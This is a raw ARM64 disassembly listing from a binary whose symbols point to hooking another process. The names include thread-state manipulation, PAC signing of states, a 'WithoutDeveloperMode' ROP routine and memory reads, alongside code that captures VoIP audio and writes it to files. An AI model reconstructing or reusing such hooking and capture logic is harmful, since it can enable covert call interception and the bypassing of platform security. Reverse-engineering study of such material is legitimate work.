    10000f758fcmgt v5.4s, v2.4s, v3.4s
    10000f75corr v5.16b, v4.16b, v5.16b
    10000f760bit v3.16b, v2.16b, v5.16b
    10000f764bit v3.16b, v1.16b, v4.16b
    10000f768fcvtzs v3.4s, v3.4s
    10000f76cxtn v3.4h, v3.4s
    10000f770str d3, [x11], 8
    10000f774subs x10, x10, 4
    10000f778b.ne 0x10000f74c
    10000f77csubs xzr, x9, x8
    10000f780b.ne 0x10000f788
    10000f784
    10000f784loc_10000f784:
    10000f784ret x30
    10000f788
    10000f788loc_10000f788:
    10000f788sub x9, x9, x8
    10000f78cadd x10, x0, x8, lsl #1
    10000f790movi v0.2s, 0x47000000
    10000f794movi v1.2s, 0xc7000000
    10000f798add x8, x1, x8, lsl #2
    10000f79cb 0x10000f7b4
    10000f7a0
    10000f7a0loc_10000f7a0:
    10000f7a0fcvtzs w11, s2
    10000f7a4strh w11, [x10], 2
    10000f7a8add x8, x8, 4
    10000f7acsubs x9, x9, 1
    10000f7b0b.eq 0x10000f784
    10000f7b4
    10000f7b4loc_10000f7b4:
    10000f7b4ldr s2, [x8]
    10000f7b8fmul s3, s2, s0
    10000f7bcmovz w11, 65024
    10000f7c0movk w11, 0x46ff0000
    10000f7c4fmov s2, w11
    10000f7c8fcmp s3, s2
    10000f7ccb.gt 0x10000f7a0
    10000f7d0fcmp s3, s1
    10000f7d4fmov s2, s3
    10000f7d8b.pl 0x10000f7a0
    10000f7dcmovi v2.2s, 0xc7000000
    10000f7e0b 0x10000f7a0
    10000f70c
    10000f7e4
    10000f7e4__ZN6Helper4Voip11downmix4to2EPsPKsm:
    10000f7e4cbz x2, 0x10000f810
    10000f7e8movz x8, 0
    10000f7ecadd x9, x1, 6
    10000f7f0
    10000f7f0loc_10000f7f0:
    10000f7f0ldurh w10, [x9-2]
    10000f7f4add x11, x0, x8, lsl #1
    10000f7f8strh w10, [x11]
    10000f7fcldrh w10, [x9], 8
    10000f800strh w10, [x11+2]
    10000f804add x8, x8, 2
    10000f808subs xzr, x8, x2
    10000f80cb.lo 0x10000f7f0
    10000f810
    10000f810loc_10000f810:
    10000f810ret x30
    10000f7e4
    10000f814
    10000f814__ZN6Helper4Voip15encodePCMSampleEPKvm:
    10000f814pacibsp
    10000f818sub sp, sp, 48
    10000f81cstp x29, x30, [sp+32]
    10000f820add x29, sp, 32
    10000f824ldr x0, [x0+184]
    10000f828cbz x0, 0x10000f84c
    10000f82cmovz w8, 1
    10000f830movz w9, 2
    10000f834str w8, [sp+8]
    10000f838stp w9, w2, [sp+16]
    10000f83cstr x1, [sp+24]
    10000f840ubfm x1, x2, 2, 63
    10000f844add x2, sp, 8
    10000f848bl ExtAudioFileWrite@plt
    10000f84c
    10000f84cloc_10000f84c:
    10000f84cldp x29, x30, [sp+32]
    10000f850add sp, sp, 48
    10000f854retab
    10000f814
    10000f858
    10000f858__ZN6Helper4Voip19createNewOutputFileEi:
    10000f858pacibsp
    10000f85csub sp, sp, 192
    10000f860stp x24, x23, [sp+128]
    10000f864stp x22, x21, [sp+144]
    10000f868stp x20, x19, [sp+160]
    10000f86cstp x29, x30, [sp+176]
    10000f870add x29, sp, 176
    10000f874mov x21, x1
    10000f878mov x19, x0
    10000f87cmov x20, x0
    10000f880ldr x0, [x20+184]!
    10000f884cbz x0, 0x10000f88c
    10000f888bl ExtAudioFileDispose@plt
    10000f88c
    10000f88cloc_10000f88c:
    10000f88cstr xzr, [sp+80]
    10000f890scvtf d0, w21
    10000f894str d0, [sp+88]
    10000f898hint
    10000f89cldr q1, 0x32d84
    10000f8a0stur q1, [sp+96]
    10000f8a4hint
    10000f8a8ldr d1, 0x32d98
    10000f8acstr d1, [sp+112]
    10000f8b0movz w8, 16
    10000f8b4str w8, [sp+120]
    10000f8b8str d0, [sp+48]
    10000f8bchint
    10000f8c0ldr d0, 0x32d88
    10000f8c4str d0, [sp+72]
    10000f8c8hint
    10000f8ccldr q0, 0x32d64
    10000f8d0stur q0, [sp+56]
    10000f8d4hint
    10000f8d8ldr x0, 0x38ca0
    10000f8dcldr x8, [x19+216]
    10000f8e0ldr w9, [x19+224]
    10000f8e4stp x8, x9, [sp]
    10000f8e8adr x2, 0x35b60
    10000f8echint
    10000f8f0bl fn_10003e560
    10000f8f4mov x21, x0
    10000f8f8movz x0, 0
    10000f8fcmov x1, x21
    10000f900movz x2, 0
    10000f904movz w3, 0
    10000f908bl CFURLCreateWithFileSystemPath@plt
    10000f90cmov x22, x0
    10000f910add x2, sp, 48
    10000f914movz w1, 24934
    10000f918movk w1, 0x6d340000
    10000f91cmovz x3, 0
    10000f920movz w4, 1
    10000f924mov x5, x20
    10000f928bl ExtAudioFileCreateWithURL@plt
    10000f92cldr x0, [x19+184]
    10000f930add x3, sp, 88
    10000f934movz w1, 28020
    10000f938movk w1, 0x63660000
    10000f93cmovz w2, 40
    10000f940bl ExtAudioFileSetProperty@plt
    10000f944mov x0, x22
    10000f948bl CFRelease@plt
    10000f94cmov x0, x21
    10000f950bl fn_10003e220
    10000f954mov x21, x0
    10000f958bl strlen@plt
    10000f95corr x8, xzr, 0x7ffffffffffffff0
    10000f960subs xzr, x0, x8
    10000f964b.hs 0x10000fa10
    10000f968mov x20, x0
    10000f96csubs xzr, x0, 23
    10000f970b.hs 0x10000f9c4
    10000f974add x22, sp, 24
    10000f978strb w20, [sp+47]
    10000f97ccbnz x20, 0x10000f9e4
    10000f980strb wzr, [x22+x20]
    10000f984add x20, x19, 192
    10000f988ldrsb w8, [x19+215]
    10000f98ctbnz w8, 31, 0x10000fa04
    10000f990
    10000f990loc_10000f990:
    10000f990ldur q0, [sp+24]
    10000f994str q0, [x20]
    10000f998ldr x8, [sp+40]
    10000f99cstr x8, [x20+16]
    10000f9a0ldr w8, [x19+224]
    10000f9a4add w8, w8, 1
    10000f9a8str w8, [x19+224]
    10000f9acldp x29, x30, [sp+176]
    10000f9b0ldp x20, x19, [sp+160]
    10000f9b4ldp x22, x21, [sp+144]
    10000f9b8ldp x24, x23, [sp+128]
    10000f9bcadd sp, sp, 192
    10000f9c0retab
    10000f9c4
    10000f9c4loc_10000f9c4:
    10000f9c4add x8, x20, 16
    10000f9c8and x23, x8, -16
    10000f9ccmov x0, x23
    10000f9d0bl _Znwm@plt
    10000f9d4mov x22, x0
    10000f9d8orr x8, x23, 0x8000000000000000
    10000f9dcstp x20, x8, [sp+32]
    10000f9e0str x0, [sp+24]
    10000f9e4
    10000f9e4loc_10000f9e4:
    10000f9e4mov x0, x22
    10000f9e8mov x1, x21
    10000f9ecmov x2, x20
    10000f9f0bl memmove@plt
    10000f9f4strb wzr, [x22+x20]
    10000f9f8add x20, x19, 192
    10000f9fcldrsb w8, [x19+215]
    10000fa00tbz w8, 31, 0x10000f990
    10000fa04
    10000fa04loc_10000fa04:
    10000fa04ldr x0, [x20]
    10000fa08bl _ZdlPv@plt
    10000fa0cb 0x10000f990
    10000fa10
    10000fa10loc_10000fa10:
    10000fa10add x0, sp, 24
    10000fa14bl fn_1000089dc
    10000f858
    10000fa18
    10000fa18__ZN6Helper4Voip13buildPACCacheEP27__darwin_arm_thread_state64y:
    10000fa18pacibsp
    10000fa1csub sp, sp, 320
    10000fa20stp x28, x27, [sp+272]
    10000fa24stp x20, x19, [sp+288]
    10000fa28stp x29, x30, [sp+304]
    10000fa2cadd x29, sp, 304
    10000fa30mov x19, x2
    10000fa34mov x20, x0
    10000fa38add x0, sp, 0
    10000fa3cmovz w2, 272
    10000fa40bl memcpy@plt
    10000fa44ldr x0, [x20+120]
    10000fa48add x4, x20, 256
    10000fa4cadd x1, sp, 0
    10000fa50mov x2, x19
    10000fa54movz x3, 0
    10000fa58bl __ZNK8DMHooker9signStateEP27__darwin_arm_thread_state64yyPN9NSTaskROP20WithoutDeveloperMode16SignedStateCacheE
    10000fa5cldp x29, x30, [sp+304]
    10000fa60ldp x20, x19, [sp+288]
    10000fa64ldp x28, x27, [sp+272]
    10000fa68add sp, sp, 320
    10000fa6cretab
    10000fa18
    10000fa70
    10000fa70__ZN6Helper4Voip13restoreHookPCEP27__darwin_arm_thread_state64:
    10000fa70pacibsp
    10000fa74sub sp, sp, 48
    10000fa78stp x20, x19, [sp+16]
    10000fa7cstp x29, x30, [sp+32]
    10000fa80add x29, sp, 32
    10000fa84mov x19, x0
    10000fa88add x0, sp, 8
    10000fa8cbl __ZN10Arm64StateC1EP27__darwin_arm_thread_state64
    10000fa90add x0, sp, 8
    10000fa94bl __ZNK10Arm64State8getFlagsEv
    10000fa98ubfm w8, w0, 24, 31
    10000fa9cadd x8, x19, w8, uxtw #4
    10000faa0ldr x19, [x8+256]
    10000faa4and w1, w0, 0xfffffffb
    10000faa8add x0, sp, 8
    10000faacbl __ZN10Arm64State8setFlagsEj
    10000fab0add x0, sp, 8
    10000fab4mov x1, x19
    10000fab8bl __ZNK10Arm64State5setPCEPv
    10000fabcldp x29, x30, [sp+32]
    10000fac0ldp x20, x19, [sp+16]
    10000fac4add sp, sp, 48
    10000fac8retab
    10000fa70
    10000facc
    10000faccfn_10000facc:
    10000faccret x30
    10000facc
    10000fad0
    10000fad0fn_10000fad0:
    10000fad0b 0x10003d990
    10000fad0
    10000fad4
    10000fad4fn_10000fad4:
    10000fad4pacibsp
    10000fad8stp x20, x19, [sp-32]!
    10000fadcstp x29, x30, [sp+16]
    10000fae0add x29, sp, 16
    10000fae4mov x19, x0
    10000fae8movz w0, 16
    10000faecbl _Znwm@plt
    10000faf0ldr x8, [x19+8]
    10000faf4adr x16, 0x35324
    10000faf8hint
    10000fafcadd x16, x16, 16
    10000fb00mov x17, x0
    10000fb04movk x17, 0x530f000000000000
    10000fb08pacda x16, x17
    10000fb0cstp x16, x8, [x0]
    10000fb10ldp x29, x30, [sp+16]
    10000fb14ldp x20, x19, [sp], 32
    10000fb18retab
    10000fad4
    10000fb1c
    10000fb1cfn_10000fb1c:
    10000fb1cldr x8, [x0+8]
    10000fb20adr x16, 0x352f8
    10000fb24hint
    10000fb28add x16, x16, 16
    10000fb2cmov x17, x1
    10000fb30movk x17, 0x530f000000000000
    10000fb34pacda x16, x17
    10000fb38stp x16, x8, [x1]
    10000fb3cret x30
    10000fb1c
    10000fb40
    10000fb40fn_10000fb40:
    10000fb40ret x30
    10000fb40
    10000fb44
    10000fb44fn_10000fb44:
    10000fb44b 0x10003d990
    10000fb44
    10000fb48
    10000fb48fn_10000fb48:
    10000fb48pacibsp
    10000fb4csub sp, sp, 80
    10000fb50stp x20, x19, [sp+48]
    10000fb54stp x29, x30, [sp+64]
    10000fb58add x29, sp, 64
    10000fb5cldr x19, [x0+8]
    10000fb60ldr x8, [x1]
    10000fb64ldr x1, [x8]
    10000fb68str xzr, [sp+32]
    10000fb6cmovi v0.2d, 0
    10000fb70stp q0, q0, [sp]
    10000fb74ldr x0, [x19+120]
    10000fb78add x2, sp, 0
    10000fb7cmovz w3, 40
    10000fb80bl __ZNK8DMHooker10readLengthEyyy
    10000fb84ldr w8, [sp+28]
    10000fb88subs wzr, w8, 4
    10000fb8cb.ne 0x10000fb9c
    10000fb90ldr d0, [sp]
    10000fb94fcvtzs w8, d0
    10000fb98str w8, [x19+228]
    10000fb9c
    10000fb9cloc_10000fb9c:
    10000fb9cmovz w0, 2
    10000fba0ldp x29, x30, [sp+64]
    10000fba4ldp x20, x19, [sp+48]
    10000fba8add sp, sp, 80
    10000fbacretab
    10000fb48
    10000fbb0
    10000fbb0fn_10000fbb0:
    10000fbb0pacibsp
    10000fbb4stp x20, x19, [sp-32]!
    10000fbb8stp x29, x30, [sp+16]
    10000fbbcadd x29, sp, 16
    10000fbc0mov x19, x0
    10000fbc4ldr x9, [x1+8]
    10000fbc8adr x8, 0x32b20
    10000fbcchint
    10000fbd0subs xzr, x9, x8
    10000fbd4b.ne 0x10000fbe8
    10000fbd8
    10000fbd8loc_10000fbd8:
    10000fbd8add x0, x19, 8
    10000fbdcldp x29, x30, [sp+16]
    10000fbe0ldp x20, x19, [sp], 32
    10000fbe4retab
    10000fbe8
    10000fbe8loc_10000fbe8:
    10000fbe8ands xzr, x9, x8
    10000fbecb.lt 0x10000fc00
    10000fbf0movz x0, 0
    10000fbf4ldp x29, x30, [sp+16]
    10000fbf8ldp x20, x19, [sp], 32
    10000fbfcretab
    10000fc00
    10000fc00loc_10000fc00:
    10000fc00and x0, x9, 0x7fffffffffffffff
    10000fc04and x1, x8, 0x7fffffffffffffff
    10000fc08bl strcmp@plt
    10000fc0ccbz w0, 0x10000fbd8
    10000fc10movz x0, 0
    10000fc14ldp x29, x30, [sp+16]
    10000fc18ldp x20, x19, [sp], 32
    10000fc1cretab
    10000fbb0
    10000fc20
    10000fc20fn_10000fc20:
    10000fc20adr x0, 0x35268
    10000fc24hint
    10000fc28ret x30
    10000fc20
    10000fc2c
    10000fc2cfn_10000fc2c:
    10000fc2cret x30
    10000fc2c
    10000fc30
    10000fc30fn_10000fc30:
    10000fc30b 0x10003d990
    10000fc30
    10000fc34
    10000fc34fn_10000fc34:
    10000fc34pacibsp
    10000fc38stp x20, x19, [sp-32]!
    10000fc3cstp x29, x30, [sp+16]
    10000fc40add x29, sp, 16
    10000fc44mov x19, x0
    10000fc48movz w0, 16
    10000fc4cbl _Znwm@plt
    10000fc50ldr x8, [x19+8]
    10000fc54adr x16, 0x35244
    10000fc58hint
    10000fc5cadd x16, x16, 16
    10000fc60mov x17, x0
    10000fc64movk x17, 0x530f000000000000
    10000fc68pacda x16, x17
    10000fc6cstp x16, x8, [x0]
    10000fc70ldp x29, x30, [sp+16]
    10000fc74ldp x20, x19, [sp], 32
    10000fc78retab
    10000fc34
    10000fc7c
    10000fc7cfn_10000fc7c:
    10000fc7cldr x8, [x0+8]
    10000fc80adr x16, 0x35218
    10000fc84hint
    10000fc88add x16, x16, 16
    10000fc8cmov x17, x1
    10000fc90movk x17, 0x530f000000000000
    10000fc94pacda x16, x17
    10000fc98stp x16, x8, [x1]
    10000fc9cret x30
    10000fc7c
    10000fca0
    10000fca0fn_10000fca0:
    10000fca0ret x30
    10000fca0
    10000fca4
    10000fca4fn_10000fca4:
    10000fca4b 0x10003d990
    10000fca4
    10000fca8
    10000fca8fn_10000fca8:
    10000fca8pacibsp
    10000fcacsub sp, sp, 352
    10000fcb0stp x24, x23, [sp+288]
    10000fcb4stp x22, x21, [sp+304]
    10000fcb8stp x20, x19, [sp+320]
    10000fcbcstp x29, x30, [sp+336]
    10000fcc0add x29, sp, 336
    10000fcc4ldr x23, [x0+8]
    10000fcc8ldr x20, [x1]
    10000fcccadd x19, x23, 56
    10000fcd0mov x0, x19
    10000fcd4bl _ZNSt3__15mutex4lockEv@plt
    10000fcd8ldr x8, [x23+240]
    10000fcdccbnz x8, 0x10000fd3c
    10000fce0ldr x8, [x20]
    10000fce4add x21, x8, 88
    10000fce8str xzr, [sp+8]
    10000fcecldr x0, [x23+120]
    10000fcf0add x2, sp, 8
    10000fcf4mov x1, x21
    10000fcf8movz w3, 8
    10000fcfcbl __ZNK8DMHooker10readLengthEyyy
    10000fd00ldr x22, [sp+8]
    10000fd04orr w8, wzr, 0x11111111
    10000fd08subs xzr, x22, x8
    10000fd0cb.eq 0x10000fd3c
    10000fd10stp x21, x22, [x23+240]
    10000fd14add x0, sp, 16
    10000fd18mov x1, x20
    10000fd1cmovz w2, 272
    10000fd20bl memcpy@plt
    10000fd24ldr x0, [x23+120]
    10000fd28add x4, x23, 256
    10000fd2cadd x1, sp, 16
    10000fd30mov x2, x22
    10000fd34movz x3, 0
    10000fd38bl __ZNK8DMHooker9signStateEP27__darwin_arm_thread_state64yyPN9NSTaskROP20WithoutDeveloperMode16SignedStateCacheE
    10000fd3c
    10000fd3cloc_10000fd3c:
    10000fd3cmov x0, x19
    10000fd40bl _ZNSt3__15mutex6unlockEv@plt
    10000fd44movz w0, 4
    10000fd48ldp x29, x30, [sp+336]
    10000fd4cldp x20, x19, [sp+320]
    10000fd50ldp x22, x21, [sp+304]
    10000fd54ldp x24, x23, [sp+288]
    10000fd58add sp, sp, 352
    10000fd5cretab
    10000fd60mov x20, x0
    10000fd64mov x0, x19
    10000fd68bl _ZNSt3__15mutex6unlockEv@plt
    10000fd6cmov x0, x20
    10000fd70bl _Unwind_Resume@plt
    10000fca8
    10000fd74
    10000fd74fn_10000fd74:
    10000fd74pacibsp
    10000fd78stp x20, x19, [sp-32]!
    10000fd7cstp x29, x30, [sp+16]
    10000fd80add x29, sp, 16
    10000fd84mov x19, x0
    10000fd88ldr x9, [x1+8]
    10000fd8cadr x8, 0x32a07
    10000fd90hint
    10000fd94subs xzr, x9, x8
    10000fd98b.ne 0x10000fdac
    10000fd9c
    10000fd9cloc_10000fd9c:
    10000fd9cadd x0, x19, 8
    10000fda0ldp x29, x30, [sp+16]
    10000fda4ldp x20, x19, [sp], 32
    10000fda8retab
    10000fdac
    10000fdacloc_10000fdac:
    10000fdacands xzr, x9, x8
    10000fdb0b.lt 0x10000fdc4
    10000fdb4movz x0, 0
    10000fdb8ldp x29, x30, [sp+16]
    10000fdbcldp x20, x19, [sp], 32
    10000fdc0retab
    10000fdc4
    10000fdc4loc_10000fdc4:
    10000fdc4and x0, x9, 0x7fffffffffffffff
    10000fdc8and x1, x8, 0x7fffffffffffffff
    10000fdccbl strcmp@plt
    10000fdd0cbz w0, 0x10000fd9c
    10000fdd4movz x0, 0
    10000fdd8ldp x29, x30, [sp+16]
    10000fddcldp x20, x19, [sp], 32
    10000fde0retab
    10000fd74
    10000fde4
    10000fde4fn_10000fde4:
    10000fde4adr x0, 0x35124
    10000fde8hint
    10000fdecret x30
    10000fde4
    10000fdf0
    10000fdf0fn_10000fdf0:
    10000fdf0ret x30
    10000fdf0
    10000fdf4
    10000fdf4fn_10000fdf4:
    10000fdf4b 0x10003d990
    10000fdf4
    10000fdf8
    10000fdf8fn_10000fdf8:
    10000fdf8pacibsp
    10000fdfcstp x20, x19, [sp-32]!
    10000fe00stp x29, x30, [sp+16]
    10000fe04add x29, sp, 16
    10000fe08mov x19, x0
    10000fe0cmovz w0, 16
    10000fe10bl _Znwm@plt
    10000fe14ldr x8, [x19+8]
    10000fe18adr x16, 0x35100
    10000fe1chint
    10000fe20add x16, x16, 16
    10000fe24mov x17, x0
    10000fe28movk x17, 0x530f000000000000
    10000fe2cpacda x16, x17
    10000fe30stp x16, x8, [x0]
    10000fe34ldp x29, x30, [sp+16]
    10000fe38ldp x20, x19, [sp], 32
    10000fe3cretab
    10000fdf8
    10000fe40
    10000fe40fn_10000fe40:
    10000fe40ldr x8, [x0+8]
    10000fe44adr x16, 0x350d4
    10000fe48hint
    10000fe4cadd x16, x16, 16
    10000fe50mov x17, x1
    10000fe54movk x17, 0x530f000000000000
    10000fe58pacda x16, x17
    10000fe5cstp x16, x8, [x1]
    10000fe60ret x30
    10000fe40
    10000fe64
    10000fe64fn_10000fe64:
    10000fe64ret x30
    10000fe64
    10000fe68
    10000fe68fn_10000fe68:
    10000fe68b 0x10003d990
    10000fe68
    10000fe6c
    10000fe6cfn_10000fe6c:
    10000fe6cpacibsp
    10000fe70stp x29, x30, [sp-16]!
    10000fe74add x29, sp, 0
    10000fe78ldr x0, [x0+8]
    10000fe7cldr x1, [x1]
    10000fe80bl fn_10000ff0c
    10000fe84movz w0, 1
    10000fe88ldp x29, x30, [sp], 16
    10000fe8cretab
    10000fe6c
    10000fe90
    10000fe90fn_10000fe90:
    10000fe90pacibsp
    10000fe94stp x20, x19, [sp-32]!
    10000fe98stp x29, x30, [sp+16]
    10000fe9cadd x29, sp, 16
    10000fea0mov x19, x0
    10000fea4ldr x9, [x1+8]
    10000fea8adr x8, 0x32996
    10000feachint
    10000feb0subs xzr, x9, x8
    10000feb4b.ne 0x10000fec8
    10000feb8
    10000feb8loc_10000feb8:
    10000feb8add x0, x19, 8
    10000febcldp x29, x30, [sp+16]
    10000fec0ldp x20, x19, [sp], 32
    10000fec4retab
    10000fec8
    10000fec8loc_10000fec8:
    10000fec8ands xzr, x9, x8
    10000feccb.lt 0x10000fee0
    10000fed0movz x0, 0
    10000fed4ldp x29, x30, [sp+16]
    10000fed8ldp x20, x19, [sp], 32
    10000fedcretab
    10000fee0
    10000fee0loc_10000fee0:
    10000fee0and x0, x9, 0x7fffffffffffffff
    10000fee4and x1, x8, 0x7fffffffffffffff
    10000fee8bl strcmp@plt
    10000feeccbz w0, 0x10000feb8
    10000fef0movz x0, 0
    10000fef4ldp x29, x30, [sp+16]
    10000fef8ldp x20, x19, [sp], 32
    10000fefcretab
    10000fe90
    10000ff00
    10000ff00fn_10000ff00:
    10000ff00adr x0, 0x35088
    10000ff04hint
    10000ff08ret x30
    10000ff00
    10000ff0c
    10000ff0cfn_10000ff0c:
    10000ff0cpacibsp
    10000ff10stp x24, x23, [sp-64]!
    10000ff14stp x22, x21, [sp+16]
    10000ff18stp x20, x19, [sp+32]
    10000ff1cstp x29, x30, [sp+48]
    10000ff20add x29, sp, 48
    10000ff24sub sp, sp, 32
    10000ff28mov x22, x1
    10000ff2cmov x20, x0
    10000ff30add x19, x0, 56
    10000ff34mov x0, x19
    10000ff38bl _ZNSt3__15mutex4lockEv@plt
    10000ff3csub x0, x29, 72
    10000ff40mov x1, x22
    10000ff44bl __ZN10Arm64StateC1EP27__darwin_arm_thread_state64
    10000ff48sub x0, x29, 72
    10000ff4cbl __ZNK10Arm64State8getFlagsEv
    10000ff50ubfm w8, w0, 24, 31
    10000ff54add x8, x20, w8, uxtw #4
    10000ff58ldr x21, [x8+256]
    10000ff5cand w1, w0, 0xfffffffb
    10000ff60sub x0, x29, 72
    10000ff64bl __ZN10Arm64State8setFlagsEj
    10000ff68sub x0, x29, 72
    10000ff6cmov x1, x21
    10000ff70bl __ZNK10Arm64State5setPCEPv
    10000ff74ldrb w8, [x20+144]
    10000ff78cbz w8, 0x10001013c
    10000ff7cbl _ZNSt3__16chrono12steady_clock3nowEv@plt
    10000ff80mov x21, x0
    10000ff84ldr x8, [x20+152]
    10000ff88cbz x8, 0x10000ffd0
    10000ff8cldr x9, [x20+176]
    10000ff90sub x9, x21, x9
    10000ff94scvtf s0, x9
    10000ff98movz w9, 27432
    10000ff9cmovk w9, 0x4e6e0000
    10000ffa0fmov s1, w9
    10000ffa4fdiv s0, s0, s1
    10000ffa8fmov s1
    10000ffacfcmp s0, s1
    10000ffb0b.ge 0x10000ffc4
    10000ffb4ldr x9, [x22]
    10000ffb8subs xzr, x8, x9
    10000ffbcb.eq 0x100010040
    10000ffc0b 0x10001013c
    10000ffc4
    10000ffc4loc_10000ffc4:
    10000ffc4ldr x0, [x20+120]
    10000ffc8bl __ZN8DMHooker10flushCacheEv
    10000ffccstr xzr, [x20+152]
    10000ffd0
    10000ffd0loc_10000ffd0:
    10000ffd0stp xzr, xzr, [x29-72]
    10000ffd4stur xzr, [x29-56]
    10000ffd8ldr x0, [x20+120]
    10000ffdcldr x1, [x22+16]
    10000ffe0sub x2, x29, 72
    10000ffe4movz w3, 24
    10000ffe8bl __ZNK8DMHooker10readLengthEyyy
    10000ffecldur w8, [x29-72]
    10000fff0subs wzr, w8, 1
    10000fff4b.ne 0x10001013c
    10000fff8ldur w8, [x29-64]
    10000fffcsubs wzr, w8, 4
    100010000b.ne 0x10001013c
    100010004ldur x9, [x29-56]
    100010008ldur w8, [x29-60]
    10001000cstp x9, x8, [x20+160]
    100010010ldr x9, [x22]
    100010014str x9, [x20+152]
    100010018ldr w1, [x20+228]
    10001001ccbz w1, 0x100010170
    100010020
    100010020loc_100010020:
    100010020ldr x8, [x20+184]
    100010024cbz x8, 0x100010034
    100010028ldr w8, [x20+232]
    10001002csubs wzr, w1, w8
    100010030b.eq 0x100010040
    100010034
    100010034loc_100010034:
    100010034str w1, [x20+232]
    100010038mov x0, x20
    10001003cbl __ZN6Helper4Voip19createNewOutputFileEi
    100010040
    100010040loc_100010040:
    100010040add x23, sp, 0
    100010044str x21, [x20+176]
    100010048ldr x21, [x20+168]
    10001004cmov x9, x21
    100010050hint
    100010054ldr x16, 0x349c4
    100010058blraaz x16
    10001005cadd x8, sp, 0
    100010060add x9, x21, 15
    100010064and x9, x9, -16
    100010068sub x22, x8, x9
    10001006cadd sp, x22, 0
    100010070ldr x1, [x20+160]
    100010074ldr x0, [x20+120]
    100010078mov x2, x22
    10001007cmov x3, x21
    100010080bl __ZNK8DMHooker10readLengthEyyy
    100010084ubfm x12, x21, 1, 63
    100010088ubfm x8, x12, 63, 62
    10001008cmov x9, x8
    100010090hint
    100010094ldr x16, 0x34984
    100010098blraaz x16
    10001009cadd x9, sp, 0
    1000100a0add x8, x8, 15
    1000100a4and x8, x8, -16
    1000100a8sub x14, x9, x8
    1000100acadd sp, x14, 0
    1000100b0subs xzr, x21, 4
    1000100b4b.hs 0x10001015c
    1000100b8movz x13, 0
    1000100bc
    1000100bcloc_1000100bc:
    1000100bcubfm x8, x13, 63, 62
    1000100c0mov x9, x8
    1000100c4hint
    1000100c8ldr x16, 0x34950
    1000100ccblraaz x16
    1000100d0add x9, sp, 0
    1000100d4add x8, x8, 15
    1000100d8and x8, x8, -16
    1000100dcsub x8, x9, x8
    1000100e0add sp, x8, 0
    1000100e4subs xzr, x21, 2
    1000100e8b.lo 0x100010110
    1000100ecmovz x9, 0
    1000100f0add x10, x14, 6
    1000100f4
    1000100f4loc_1000100f4:
    1000100f4ldur w11, [x10-2]
    1000100f8ubfm x14, x9, 63, 62
    1000100fcstr w11, [x8+x14]
    100010100add x9, x9, 2
    100010104add x10, x10, 8
    100010108subs xzr, x9, x12
    10001010cb.lo 0x1000100f4
    100010110
    100010110loc_100010110:
    100010110ldr x0, [x20+184]
    100010114cbz x0, 0x100010138
    100010118movz w9, 1
    10001011cmovz w10, 2
    100010120stur w9, [x29-72]
    100010124stp w10, w13, [x29-64]
    100010128stur x8, [x29-56]
    10001012cubfm x1, x21, 4, 63
    100010130sub x2, x29, 72
    100010134bl ExtAudioFileWrite@plt
    100010138
    100010138loc_100010138:
    100010138add sp, x23, 0
    10001013c
    10001013cloc_10001013c:
    10001013cmov x0, x19
    100010140bl _ZNSt3__15mutex6unlockEv@plt
    100010144sub sp, x29, 48
    100010148ldp x29, x30, [sp+48]
    10001014cldp x20, x19, [sp+32]
    100010150ldp x22, x21, [sp+16]
    100010154ldp x24, x23, [sp], 64
    100010158retab
    10001015c
    10001015cloc_10001015c:
    10001015cubfm x13, x21, 2, 63
    100010160subs xzr, x21, 16
    100010164b.hs 0x100010198
    100010168movz x8, 0
    10001016cb 0x1000101f4
    100010170
    100010170loc_100010170:
    100010170movz w9, 7679
    100010174subs wzr, w8, w9
    100010178b.gt 0x100010250
    10001017csubs wzr, w8, 4096
    100010180b.eq 0x100010270
    100010184movz w9, 6144
    100010188subs wzr, w8, w9
    10001018cb.ne 0x100010280
    100010190movz w1, 32000
    100010194b 0x100010020
    100010198
    100010198loc_100010198:
    100010198and x8, x13, 0x3ffffffffffffffc
    10001019cmovi v0.4s, 0x47000000
    1000101a0movz w9, 65024
    1000101a4movk w9, 0x46ff0000
    1000101a8dup v1.4s, w9
    1000101acmovi v2.4s, 0xc7000000
    1000101b0mov x9, x8
    1000101b4mov x10, x14
    1000101b8mov x11, x22
    1000101bc
    1000101bcloc_1000101bc:
    1000101bcldr q3, [x11], 16
    1000101c0fmul v3.4s, v3.4s, v0.4s
    1000101c4fcmgt v4.4s, v3.4s, v1.4s
    1000101c8fcmgt v5.4s, v2.4s, v3.4s
    1000101ccorr v5.16b, v4.16b, v5.16b
    1000101d0bit v3.16b, v2.16b, v5.16b
    1000101d4bit v3.16b, v1.16b, v4.16b
    1000101d8fcvtzs v3.4s, v3.4s
    1000101dcxtn v3.4h, v3.4s
    1000101e0str d3, [x10], 8
    1000101e4subs x9, x9, 4
    1000101e8b.ne 0x1000101bc
    1000101ecsubs xzr, x13, x8
    1000101f0b.eq 0x1000100bc
    1000101f4
    1000101f4loc_1000101f4:
    1000101f4sub x9, x13, x8
    1000101f8add x10, x14, x8, lsl #1
    1000101fcmovi v0.2s, 0x47000000
    100010200movi v1.2s, 0xc7000000
    100010204add x8, x22, x8, lsl #2
    100010208b 0x100010220
    10001020c
    10001020cloc_10001020c:
    10001020cfcvtzs w11, s2
    100010210strh w11, [x10], 2
    100010214add x8, x8, 4
    100010218subs x9, x9, 1
    10001021cb.eq 0x1000100bc
    100010220
    100010220loc_100010220:
    100010220ldr s2, [x8]
    100010224fmul s3, s2, s0
    100010228movz w11, 65024
    10001022cmovk w11, 0x46ff0000
    100010230fmov s2, w11
    100010234fcmp s3, s2
    100010238b.gt 0x10001020c
    10001023cfcmp s3, s1
    100010240fmov s2, s3
    100010244b.pl 0x10001020c
    100010248movi v2.2s, 0xc7000000
    10001024cb 0x10001020c
    100010250
    100010250loc_100010250:
    100010250movz w9, 15360
    100010254subs wzr, w8, w9
    100010258b.eq 0x100010278
    10001025cmovz w9, 7680
    100010260subs wzr, w8, w9
    100010264b.ne 0x100010280
    100010268movz w1, 24000
    10001026cb 0x100010020
    100010270
    100010270loc_100010270:
    100010270movz w1, 16000
    100010274b 0x100010020
    100010278
    100010278loc_100010278:
    100010278movz w1, 44100
    10001027cb 0x100010020
    100010280
    100010280loc_100010280:
    100010280movz w1, 48000
    100010284b 0x100010020
    100010288b 0x10001029c
    10001028cb 0x10001029c
    100010290b 0x10001029c
    100010294b 0x10001029c
    100010298b 0x10001029c
    10001029c
    10001029cloc_10001029c:
    10001029cmov x20, x0
    1000102a0mov x0, x19
    1000102a4bl _ZNSt3__15mutex6unlockEv@plt
    1000102a8mov x0, x20
    1000102acbl _Unwind_Resume@plt
    10000ff0c
    1000102b0
    1000102b0fn_1000102b0:
    1000102b0pacibsp
    1000102b4stp x20, x19, [sp-32]!
